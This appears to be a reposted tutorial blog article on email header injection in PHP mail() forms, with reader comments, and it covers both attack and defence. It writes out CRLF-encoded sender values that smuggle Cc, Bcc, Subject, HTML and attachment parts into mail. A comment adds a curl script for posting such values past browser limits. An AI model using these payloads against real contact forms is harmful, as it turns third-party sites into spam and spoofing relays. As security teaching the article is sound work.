Email Injection

Not so long ago, I ran a wiki called SecurePHP. On that wiki, there was one particular article about email injection that received a lot of attention. Naturally, with all the attention came lots of spam. As a result, I disabled editing of the wiki and content stagnated. Still, the email injection article remained popular. About a year later, the server that hosted SecurePHP died and I never had a chance to hook it all back up. I saved the article though and I'm reposting it now. It may be a bit old (I've been away from PHP for a long time), and I didn't write all of it, so feel free to leave comments about needed updates and corrections. Though this article focuses on PHP, it provides a lot of general information regarding email injection attacks.

The PHP mail() Function

There are a lot of ways to send anonymous emails, some use it to mass mail, some use it to spoof identity, and some (a few) use it to send email anonymously. Usually a web mailform using the mail() function generates emails containing headers with the originating IP of the server it's running on. Therefore the mailform acts as a SMTP proxy. The input fields of the form may vary, but it is common to specify a mailform that gives you control over the subject, the message, and the sender's email address.

Function usage: mail([RECIPIENT],[SUBJECT],[MESSAGE],[EXTRAHEADERS], [EXTRAPARAMS]); (mail())

Extra params are not commonly fed from user input, so we'll skip this part. Most webmasters carefully hardcode the recipient's email address into the contact form of their web application. You might think this eliminates the way this kind of script could be exploited. But, you would be be wrong!

Example 1

Here's an example of code we'll base our analysis on:
<?php
$to="webmaster@website.com";
if (!isset($_POST["send"])) {
// no post data -> display form
?>
<form method="POST" action="<?=$_SERVER['PHP_SELF'];?>">
To: webmaster@website.com

From: <input type="text" name="sender">

Subject: <input type="text" name="subject">

Message:

<textarea name="message" rows="10" cols="60" lines="20"></textarea>

<input type="submit" name="send" value="Send">

</form>
<?
} else {
// found post data .. deal with it
$from=$_POST['sender'];
// send mail
if (mail($to, $_POST['subject'],$_POST['message'],"From: $from\n")){
// display confirmation message if mail sent successfully
echo "Your mail was indeed sent to $to.";
} else {
// sending failed, display error message
echo "Doh! Your mail could not be sent.";
}
}
?>
When looking at the HTML form or at the code, it seems obvious one cannot choose the recipient email address as it is hardcoded in the script. However, it is possible to choose the subject, the message, and the sender's email address (From: header). The PHP mail() function roughly works as follows:
<?php mail($recipient,$subject,$message,$headers); ?>
And will produce the following raw output:
To: $recipient
Subject: $subject
$headers

$message
When calling the function like this:
<?php mail("recipient@victim.xxx","Hello","Hi,\nYour site is great.\nBye","From: sender@anonymous.xxx\n"); ?>
The raw output data will look like this:
To: recipient@victim.xxx
Subject: Hello
From: sender@anonymous.xxx

Hi,
Your site is great.
Bye
The PHP code for the mailform provided earlier shows that the most interesting part the user can choose to feed in the form is the sender email address, because it is directly displayed inside the headers. In this example it is possible to modify or add other headers than the From: using this form. Of course the message, To and Subject fields could also be used to inject some data but the mail() function and the RFC specifications would filter any content given to those fields to prevent it from being abused.

What's the use of injecting email headers?

In this context, the target is to be able to send anonymous emails to other recipients. There are numerous additional fields that can be specified in the mail headers (see RFC 822). For example Cc (Carbon Copy), which sends a copy of the message to the email addresses given as arguments. A better choice is to use the Bcc (Blind Carbon Copy) which sends a carbon copy of the message just like with the Cc header, except that the recipiends email addresses given as arguments are not shown to the multiple recipients' headers. As specified in RFC 822, you must add a line feed for every header. The LF (line feed) char has a hexadecimal value of 0x0A.

By providing the following values to the example script of this article:
Sender: sender@anonymous.www%0ACc:recipient@someothersite.xxx%0ABcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx
Subject: ahem
Message: My Message...
The email's raw data will look like this:
To: recipient@victim.xxx
Subject: ahem
From: sender@anonymous.xxx
Cc:recipient@someothersite.xxx
Bcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx

My Message...
The mail headers were injected successfully! Despite the fact that the only header value take from the HTML form is From:, the resulting email has been sent to three people of our choice: recipient@someothersite.xxx, somebloke@grrrr.xxx and someotherbloke@oooops.xxx.

In the last example, both Cc and Bcc headers have been used to perform the injection. It would also have been possible to use the To header, the last value is added (just like in the Cc and Bcc fields) to the hardcoded email address of the webmaster.

Example 2

Let's keep the same value for subject and message, and give the following value to the sender email@anonymous.xxx%0ATo:email1@who.xxx. The mail output is:
To: recipient@victim.xxx
Subject: Hum
From: email@anonymous.xxx
To:email1@who.xxx

My Message...
Repeating the To header won't be a problem, the mail will be sent to recipient@victim.xxx AND email1@who.xxx.

Now for something completely evil...

Let's consider spam.

Many sites provide the possibility to "email this page to a friend" through a web form, the resulting email softly suggests to "visit our website" on behalf of the user that filled in the form with his personal email address, and the email address of the friend he wants the page to be emailed to.
<?php $subject="Visit our site www.website.xxx !";
$message="Hello,\nA friend thought you might want to see this page : www.website.xxx.\nBye Bye.";
if (!isset($_POST["send"])){
// no post data, display form
?>
<form method="POST" action="<?=$_SERVER['PHP_SELF'];?>">
To: <input type="text" name="recipient">
From: <input type="text" name="sender">
<input type="submit" name="send" value="Send">
</form>
<?php
} else {
// found post data
$from=$_POST['sender'];
$to=$_POST['recipient'];
// send mail :
if (mail($to,$subject,$message,"From: $from\n")){
// success
echo "Mail sent successfully to $to.";
} else {
// failure
echo "Doh ! Sending failed.";
}
}
?>
Even though the subject and the message are hardcoded, there is still a way to inject headers (we already know how to add recipients). As covered earlier in this article, we saw that the To header can be sent twice, the Subject header is not an exception to this rule, and so it is for numerous other headers. By providing a recipient address of buddy@pal.xxx and a sender address of misterburns@springfield.xxx%0ASubject:My%20Anonymous%20Subject the email body will look like this:
To: buddy@pal.xxx
Subject: Visit our site www.website.xxx !
From: misterburns@springfield.xxx
Subject: My Anonymous Subject

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
The subject "My Anonymous Subject" will be added to "Visit our site www.website.xxx!", and in some cases will replace it (depending on the mail services, SMTP relays, mail client, etc). For example Hotmail displays the added subject inside the message.

Let's see now how to alter the message body. The difference between the body and the headers is that the body cannot be identified by its name (From, To, etc); there is no such Message header existing in the RFC 822. And that's exactly how we will alter this part of the mail, a LF; with no header name means that the message body started. So, instead of specifying a LF and a header name, we will just add a LF and give our message.

As both To and Subject headers are already defined, the resulting output will contain both the older message and the injected message, except that instead of being appended, it will be prepended. Say we provide the sender badguy@badboys.com%0A%0AMy%20New%20%0AAnonymous%20Message. Then the email will look like this:
To: buddy@pal.xxx
Subject: Visit our site www.website.xxx!
From: badguy@badboys.com

My New
Anonymous Message.

Hello,
A friend thought you might want to see this page: www.website.xxx.
Bye Bye
We can clearly see the that the new message:
My New
Anonymous Message
is prepended to the old message:
Hello,
A friend thought you might want to see this page: www.website.xxx.
Bye Bye
to finally give this message:
My New
Anonymous Message

Hello,
A friend thought you might want to see this page: www.website.xxx.
Bye Bye
There are more headers than Cc, Bcc, To, Subject and From but this article will not cover all of them as they are not especially helpful for this article. However, the Content-Type header can be very useful. It has a default value set of plain/text.

It is possible to re-define this header as text/html, and then provide some HTML content to the message by giving this value to the sender's email address haxor@attack.com%0AContent-Type:text/html%0A%0AMy%20%New%0A<u>HTML%20Anonymous%20Message.</u>%0A.

The email will look like:

To: buddy@pal.xxx
Subject: Visit our site www.website.xxx !
From: haxor@attack.com
Content-Type:text/html

My New
<u>HTML Anonymous Message.</u>

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
When displayed, this email will have the text "HTML Anonymous Message" underlined.

MIME

The mail() function respects the MIME encoding. By knowing this, the header Content-Type can be used in different ways for injection purposes. The MIME encoding (Multipurpose Internet Mail Extensions) can be used, in addition to send HTML mails, to attach files (sound, image, txt, etc).

The fact is that the header Content-Type can be re-defined as multipart/mixed (or multipart/alternative or multipart/related), even though it was already defined previously.

The injection possibility for this header is that the "multipart/mixed" can help us to separate the mail in several parts.

Here's an example in MIME format, with one recipient part:
To: recip@ient.xxx
Subject: Good Luck
From: sender@spoofed.xxx
Content-Type: multipart/mixed; boundary="MyBoundary";
Hidden Text1
--MyBoundary
Content-Type: plain/text;

Good Luck for you work,
bye

--MyBoundary--
Hidden Text2
First we see the header To, Subject and From then the Content-Type defined as multipart/mixed, then the "boundary" line which value is MyBoundary. This boundary stuff is used as a separator (see RFC 822 for detailed info) inside the message. It is also used to set the beginning/end of the first/last part (--[THE BOUNDARY]). Note: "[THE BOUNDARY] can be replaced by any (US/ASCII [:alnum:]) value. Then we see a line "Hidden Text1". This text will not be visible to the recipient, because it is located before the first boundary declaration. Then we see the --MyBoundary line, announcing the beginning of the first message, and then, just after the Content-Type header (which will define the content type of this specific message part), some simple text. Then we see the message, and the line --MyBoundary--, announcing the end of the email, and consequently having the last part "Hidden Text2" hidden to most web clients.

Now the originating message and subject, both hardcoded in php, are ignored. So by providing the sender value haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0AMy%20Message.%0A--frog--

We get:
To: recip@ient.xxx
Subject: Visit www.website.xxx!
From: haxor@attack.xxx
Content-Type:multipart/mixed; boundary=frog;
--frog
Content-Type:text/html

My Message.
--frog--

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
And the message received by "recip@ient.xxx" is an HTML message containing "My Message." The hard coded advertisement message (below) is NOT displayed:
Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
Note: boundary is sent with no quotes this time, just to show it applies even if magic_quotes_gpc=ON.

This method is applicable in different context. Imagine a script where sender can be specified and where some other field (like first name, last name, age, etc) is echoed in the message body once the form is submitted. In that case it is possible to get the same results (choose exactly what message the receipt will see) by providing haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A in the sender header and %0A--frog%0AContent-Type:text/html%0A%0AMy%20Message.%0A--frog-- to the optional field (e.g nickname). The resulting mail will look like:
To: ami@friends.xxx
Subject: Visit www.website.xxx !
From: haxor@attack.xxx
Content-Type:multipart/mixed; boundary=frog;

Hello,

A friend called
--frog
Content-Type:text/html

My Message.
--frog--
thought you might want to see this page : www.website.xxx.
Bye Bye
As you can see, the hard coded message has been split in two. The value of the optional field (nickname) has been replaced by the injected message, and whatever is after the inserted text will NOT be shown in the mail client.

Example 3

Now a last example, compiling all possibilities seen in this article, and more. Provide this value as the sender:
haxor@attack.xxx%0ASubject:Ooops%0ABcc:target@nothappy.xxx%0AContent-Type:multipart/mixed;%20boundary=frog;
%0A--frog%0AContent-Type:text/html%0A%0AHTML%20Message.%0A%0A--frog%0AContent-Type:text/html;
name=Nastycode.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0AHTML%20File
%0A%0A--frog--%0A
The resulting email will be:
To: pal@friends.xxx
Subject: Visit www.website.xxx !
From: haxor@attack.xxx
Subject: Mwahahaha
Bcc: target@nothappy.xxx
Content-Type: multipart/mixed; boundary=frog;
--frog
Content-Type: text/html

HTML Message.

--frog--
Content-Type: text/html;name=Nastycode.html;
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment

HTML File

--frog--

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
So, the sender is "haxor@attack.xxx", the subject is "Visit www.website.xxx ! Oooops", the email will be received by "pal@friends.xxx", and a carbon copy will be sent to "target@nothappy.xxx". The email content will be HTML:
HTML Message.

a file named "Nastycode.html" with content type "text/html" will be attached to the email:

HTML File

<panic>

Now that the problem has been described, enjoy some scheduled panic time.

</panic> (Solutions)

And now that you've stopped panicking, here are several ways to combat email injection.

Regex

The first rule (the golden rule) is to always filter and validate user data. One possibility is to use regular expressions or string functions:
<?php
$from = $_POST["sender"];
if (eregi("(\r|\n)", $from)) {
die("Why ?? :(");
}
?>
We can see in the above script that any occurrence of \r or \n will make it die(). \n is equal to LF (line feed or 0x0A/%0A in hexadecimal), and \r is equal to CR (carriage return or 0x0D/%0D in hexadecimal).

Zend_Mail

You can use the Zend_Mail component as your mail sender class. It provides protection to this problem by default, no action is required from the programmer.

PEAR Mail

The PEAR Mail class provides protection against this problem since version 1.1.13.

Swift Mailer

Swift Mailer class is not vulnerable to this attack.

Suhosin

The Suhosin PHP extension provides the suhosin.mail.protect ini directive, with 3 different levels of protection.

ModSecurity

ModSecurity can put a stop to email injection on the server level.

With ModSecurity it is possible to scan the POST or GET body for Bcc, Cc, or To and reject any request that contains those letters. To protect against main injection, add the below rule to your modsecurity setup:
SecFilterSelective ARGS_VALUES "\n[[:space:]]*(to|bcc|cc)[[:space:]]*:.*@"
However, there are plenty of legitmate reasons to use the word "to" in an email and blacklists are never complete. Whitelisting is always a better option. gotroot.com is a great source for ModSecurity rules. It is a good idea to use their rules and configuration to protect users against other PHP exploits. Any virtual host having issues with ModSecurity can have it disabled by adding the below setting to the VirtualHost container:
<IfModule mod_security.c>
SecFilterEngine Off
</IfModule>

In Conclusion...

Two points to remember when watching injections:
  • Any existing data located *after* the injection point can be replaced.
  • Any data to be added will always be located *after* the injection point (e.g. From).
There is another good point to this security measure despite the fact that subject and recipient values passed to the mail() function are cleaned, when using Emacs, the Fcc header is also protected from injections. This Fcc field contains the name of one file and directs Emacs to append a copy of the message to that file when you send the message. Although this works on Emacs, it is not possible with the PHP mail() function.

And remember, there are other related exploit possibilities that are not discussed in this article. Security requires research and vigilance.

34 comments:

  1. You should create some kind of HTTP redirect at the article's original location because tons of websites linked to it.

    ReplyDelete
  2. Also, using mod_security to scan for to|bcc|cc is a bad idea. Words such as "to" have a lot of legitimate uses, so you can't just blacklist them.

    Secondly, you can never be 100% certain that your blacklist covers everything. For example, there's an alternate Unicode representation for a newline that this article didn't mention. Depending on how/when character encodings are converted, it could also lead to email injection!

    The safest approach is to use a whitelist that only contains alphanumeric characters and well-known punctuation characters.

    ReplyDelete
  3. Really great resource, thanks for re-sharing :)

    Just a question:
    Thanks to archive.org I've found another version of the same page... Here it is: http://tinyurl.com/9yxxca

    Do you know which one is the most recent and updated?
    Yours here or the one just linked?

    Thanks Again ;)

    ReplyDelete
  4. Just another question: why the urldecode($from) in the regexp solution?

    ReplyDelete
  5. @Epper
    This source is the most up to date version. I'll try to keep updating it with suggested changes (like Geoff's).

    @Geoff
    I don't have a host to run mod_rewrite or some such thing on to handle the redirection yet. I hope to have that soon. I added to the ModSecurity section to address your concerns. Thanks!

    ReplyDelete
  6. @Epper
    The urldecode() is there to ensure that the attaker did not URL encode his injection in order to mask it. I've added this point to the article as well. Thanks!

    ReplyDelete
  7. "The urldecode() call is to ensure that the attacker has not attempted to mask his attack by URL encoding his injection."

    Is this actually possible? I notice that Zend_Mail for example doesn't seem to deal with this, yet you say it is also secure.

    ReplyDelete
  8. @slander
    There's a pretty lengthy discussion about that on whirlpool. It looks like I was wrong about that and I've corrected the article.

    ReplyDelete
  9. I don't understand this part


    $from = $_POST["sender"];
    if (eregi("(\r|\n)", $from)) {
    die("Why ?? :(");
    }


    Why to look for \r\n in the $from variable, which is the email address?

    ReplyDelete
  10. sorin:

    "\r\n" is the sequence of characters that indicate the start of the next e-mail header field. If an attacker is allowed to input this character sequence into the e-mail header field, they could maliciously inject additional e-mail headers and body content.

    ReplyDelete
  11. @Geoff,
    using addslashes() or something, or with magic quotes enabled, we can prevent that from happening.

    ReplyDelete
  12. @Praveen Kumar
    No it does not. Per the PHP documentation, addslashes() returns "a string with backslashes before characters that need to be quoted in database queries etc. These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte)." Also per the PHP documentation, Magic Quotes "is identical to what addslashes() does." These two PHP features are used to escape strings for SQL usage, not e-mail. E-mail has an entirely different set of characters that need to be escaped.

    ReplyDelete
  13. I agree with you. But instead of sending like:
    \r\nReciepient: dfjdljf@ghjflkj.fkj
    it sends as:
    \\r\\nReciepient: dfjdljf@ghjflkj.fkj
    which is somewhat safer right?
    Hey am a beginner, just started learning the language... :D

    ReplyDelete
  14. Ah, I see your misunderstanding. "\r" refers to the "carriage return" character. It's not literally a "slash" and an "r". The same goes for "\n"; it refers to the "new line" character.

    When you use the character "slash" and "n" together in the PHP source code, PHP recognizes that you want a "new line" character. However, the actual user input does not get this kind of transformation. If you input a "slash" and an "n" together in your HTML form, it will still be just a regular "slash" and an "n". Rather, in order to input a "new line" or "carriage return" into an HTML form, you would press "Enter" on the keyboard. In any case, addslashes() and Magic Quotes will never escape these slashes. They are designed only for escaping SQL strings and should never be used to escape any other type of data.

    ReplyDelete
  15. This problem is actually a side-effect of not validating the inputs. You shouldn't just fix this effect, you should fix the main problem: check that the value is a valid email address.

    ReplyDelete
  16. I am quite new to php and so I have found this article very enlightening. Please may I ask a question?

    If the string containing the users email address contains more than one instance of the character "@", can we assume the email address is invalid? I realise I may be grossly oversimplifying things but, as I said, I'm quite new to php.

    ReplyDelete
  17. @Dolewaller - The answer to your specific question is yes, it's safe to assume that having two "@" symbols is invalid. However, if you're new to programming, and even if you're a veteran programmer, I wouldn't recommend writing your own e-mail validation scripts because the RFC 822 "email" spec is very complicated.

    I've written a regular expression for e-mail validation that I've rigorously tested. You may use it for free:

    /**
    * Validate an RFC 2822 "addr-spec".
    *
    * @param string $input
    * @return boolean
    */
    public static function validateEmailAddress($input)
    {
    $atom = '[a-zA-Z0-9!#$%&\'*+\-\/=?^_`{|}~]+';
    $quoted_string = '"([\x1-\x9\xB\xC\xE-\x21\x23-\x5B\x5D-\x7F]|\x5C[\x1-\x9\xB\xC\xE-\x7F])*"';
    $word = "$atom(\.$atom)*";
    $domain = "$atom(\.$atom)+";
    return strlen($input) < 256 && preg_match("/^($word|$quoted_string)@${domain}\$/", $input);
    }

    ReplyDelete
  18. Thanks, Geoff. I'm grateful for your help.

    ReplyDelete
  19. Never heard before regarding any such topic of Email Injection until or unless read your post... Really well done keep on posting stuff like this....

    Magento Themes

    ReplyDelete
  20. Hello,
    first of all thanks for this explaination. I tryed your example building my own page, but as soon as I try to inject \n, \r, %0a, %0d or whatever it doesn't work. It seems that these characters are filtered by php or something else, because they'll be sent as "they are".. example:

    if I input "foo@foo.com%0A%0DCc: bar@bar.com" (without quotes) inside the "from" field, the mail is sent regularly to the "To" mail, but it will show "foo@foo.com%0A%0DCc: bar@bar.com" or something similar in the inbox mail from detail. Can you tell me why?

    Hope you can understand what I wrote, thanks in advance, best regards.

    ReplyDelete
  21. @BeNdErR - Are you literally typing a "slash" and an "r" on the keyboard? If so, this is only recognized by programming languages when you input it directly into your source code. And certain languages like PHP only recognize them if you put them in double quotes, not single quotes.

    When a programming language like PHP encounters the string literal "\r" in your source code, it converts it into the "carriage return" ASCII character. Same goes for "\n", which is converted to a "newline" ASCII character. In other words, if you literally type a "slash" and an "r" into an HTML web form, then it is treated as regular plan text, not the actual "carriage return" ASCII character.

    So what exactly is a carriage return or a newline character? If you look at the ASCII table (http://www.asciitable.com/), you will see things like the alphabet and various symbols; you will also see various characters that are known as Control Codes. When you press "Enter" on your keyboard, your operating system will actually input two control codes: carriage return, followed by a newline. (This actually depends on which OS you use, but that's beyond the scope of this explanation.)

    In order to input a carriage return and a newline into an HTML web form, all you need to do is provide a TEXTAREA HTML input field, and then press Enter in the browser.

    ReplyDelete
  22. Thanks Geoffrey for your answer.

    I tried typing in a textarea this text:

    foo@foo.com
    Cc: bar@bar.com

    (after foo@foo.com I pressed enter) then I copyed it into the "subject" input field, but the header injection still doesn't work..


    Which input do I have to put into the form field to make it work? What do I have to inject? I can't find the right way or the right codification for "\r" and "\n" to be interpreted as CL and RF in the mail header..

    ___________________ QUOTE ______________________
    By providing the following values to the example script of this article:
    Sender: sender@anonymous.www%0ACc:recipient@someothersite.xxx%0ABcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx
    Subject: ahem
    Message: My Message...
    The email's raw data will look like this:
    To: recipient@victim.xxx
    Subject: ahem
    From: sender@anonymous.xxx
    Cc:recipient@someothersite.xxx
    Bcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx

    My Message...
    The mail headers were injected successfully!
    ________________ END QUOTE _________________________

    as I said in my previous post, %0A is not recognized as a new line, same for %0d.

    Thanks for your patience,

    ReplyDelete
  23. E-mail headers are separated by \r\n. Are you using Windows? On Windows, the Enter key inputs \r\n. On Linux, the Enter key inputs just \n. On Mac, the Enter key inputs just \r. And there are still other operating systems that use other line-endings, as well as additional line-endings in Unicode. (Special Unicode line-endings are sometimes auto-converted to regular ASCII line-endings, and this often bypasses front-line checks for just \r\n, so this is yet another security vulnerability, but I'm digressing.)

    You can check what you're receiving from your HTML form with a simple PHP script:

    echo str_replace(array("\r", "\n"), array("\\r", "\\n"), print_r($_REQUEST, true));

    As for %0A and %0D... these are the equivalent of \r and \n when it comes to URLs. You typically can't add a line-break directly into a URL, so you encode the carriage return and newline characters as %0A and %0D. (The 0A and 0D are the hexidecimal numbers of the ASCII characters) As with \r and \n only working in source code, %0A and %0D only apply when it comes to URLs. Therefore, typing %0A or %0D into an HTML form or directly into the e-mail headers have no effect.

    ReplyDelete
  24. This comment has been removed by the author.

    ReplyDelete
  25. I'm on Linux.
    With these inputs in the HTML form:

    To:   admin@mail.com
    From:  hello how are you
    Subject: hello how are you
    Message: hello
        how
        are
        you

    [note that:]----------
    1) the message input field is a <textarea>
    2) to, subject and from are <input> fields
    3) every new line in the message field is done using "enter" key on keyboard
    4) the inputs inside from and subject fields are the copy of the content of the message textarea, so the little space between the words "hello how are you" (displayed inline) I assume are like a \n and not a whitespace.
    ------------------
    The output given by your php script is:

    Array\n(\n [to] => admin@mail.com\n [from] => hello how are you\n [subject] => hello how are you\n [message] => hello\r\nhow\r\nare\r\nyou\n [send] => Send!\n)\nMail sent!

    this is the php source code:

    if(mail($to, $_POST['subject'], $_POST['message'], "From: ".$from."\r\n" )){
     echo str_replace(array("\r", "\n"), array("\\r", "\\n"), print_r($_REQUEST, true));
     echo "Mail sent!";
    }

    mmm it appears that the values returned from the html form are parsed, and the \r\n in the input fields are removed.. WHat do you think? Have I done some error/mistakes?

    Thanks again, you're very gentle.

    ReplyDelete
  26. The browser won't let you input newline or carriage return characters into an INPUT field. You must use a TEXTAREA if you want to do it via HTML form fields from within your browser.

    Of course, in the real world, a malicious attacker wouldn't be given a TEXTAREA for inputting a subject or other header field. Instead, they'd write a script to transmit this data directly to the server, bypassing web browser restrictions.

    ReplyDelete
  27. uhm, you're totally right. However, there's no way to inject in a <input> field some special char or sequence to trick the browser?

    About the script to bypass restriction, which kind of script would you use? Currently I'm studying XSS attacks, mainly based on javascript scripts, but I think it's hard to inject some JS code as the input would be managed by php making it impossible to execute.

    If possible, can you make me an example of script to bypass this restriction? PSeudo-code or just the steps to be performed are fine, don't want to annoy you with too many questions (and also it's a good exercise for me).

    Thanks again Geoffrey, I hope not to be boring.

    ReplyDelete
  28. This comment has been removed by the author.

    ReplyDelete
  29. Looks like Google Blogger didn't like my PHP tags. Let's try again...

    This is embarrassingly easy to do in PHP:

    /**
    * Simple example script for posting HTTP form data.
    * See: http://www.php.net/curl and http://www.php.net/http_build_query
    */

    $url = "http://www.example.com/some_page.php";
    $post_fields = array(
    "from" => "foo@bar.com",
    "subject" => "some text",
    "body" => "Line_1 \r\n line_2 \r\n etc...",
    );

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
    curl_exec($ch);
    // We should perform error checking here, but this is just an example
    curl_close($ch);

    ReplyDelete
  30. does anyone know if email injection attack has any limitations I mean "would this attack only have to be performed once to generate thousands of spams emails?

    ReplyDelete
  31. does anyone know if email injection attack has any limitations I mean "would this attack only have to be performed once to generate thousands of spams emails?

    ReplyDelete
    Replies
    1. Without security defenses, there are no limitations. You can "generate thousands of spam emails" with a single attack by forging a "To" header with multiple e-mail addresses.

      Delete